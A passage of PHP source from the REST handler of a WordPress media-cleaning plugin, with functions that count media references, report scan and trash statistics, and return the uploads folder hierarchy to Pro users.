			} else if ($referenceFilter === 'mediaUrls') {
				$where_sqls[] = 'AND mediaUrl IS NOT NULL';
			}
		}
		$where_sql = implode(' ', $where_sqls);
		$table_ref = $wpdb->prefix . "mclean_refs";
		return (int)$wpdb->get_var( "SELECT COUNT(id) FROM $table_ref WHERE 1=1 $where_sql" );
	}

	function rest_get_stats( $request ) {
		$search = sanitize_text_field( $request->get_param('search') );
		$reference_filter = sanitize_text_field( $request->get_param('referenceFilter') );
		$repair_mode = rest_sanitize_boolean( $request->get_param('repairMode') );

		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		$issues = $repair_mode
			? $this->core->get_stats_of_issues_to_repair( $search )
			: $wpdb->get_row( "SELECT COUNT(*) as entries, SUM(size) as size 
				FROM $table_scan WHERE ignored = 0 AND deleted = 0 $whereSql" );
		$ignored = (int)$wpdb->get_var( "SELECT COUNT(*) 
			FROM $table_scan WHERE ignored = 1 $whereSql" );
		$trash = $wpdb->get_row( "SELECT COUNT(*) as entries, SUM(size) as size
			FROM $table_scan WHERE deleted = 1 $whereSql" );
		$references = $this->count_references($search, $reference_filter);

		return new WP_REST_Response( [ 'success' => true, 'data' => array(
			'issues' => $issues->entries,
			'issues_size' => $issues->size,
			'ignored' => $ignored,
			'trash' => $trash->entries,
			'trash_size' => $trash->size,
			'references' => $references,
		) ], 200 );
	}

	function rest_uploads_directory_hierarchy( $request ) {
		if ( !$this->admin->is_pro_user() ) {
			return new WP_REST_Response( [ 'success' => false, 'message' => __( 'This feature for Pro users.', 'media-cleaner' ) ], 200 );
		}

		$force = trim( $request->get_param('force') ) === 'true';
		$transientKey = 'uploads_directory_hierarchy';
		if ( $force ) {
			delete_transient( $transientKey );
		}

		$data = get_transient( $transientKey );
		$data = null;
		if ( !$data ) {
			$data = $this->core->get_uploads_directory_hierarchy();
			set_transient( $transientKey, $data );
		}

		$uploads_dir = wp_upload_dir();
		$root = wp_normalize_path( '/' . wp_basename( $uploads_dir['basedir'] ) );

		return new WP_REST_Response( [ 'success' => true, 'data' => [
			'root' => $root,
			'hierarchy' => $data,
		] ] , 200 );
	}
}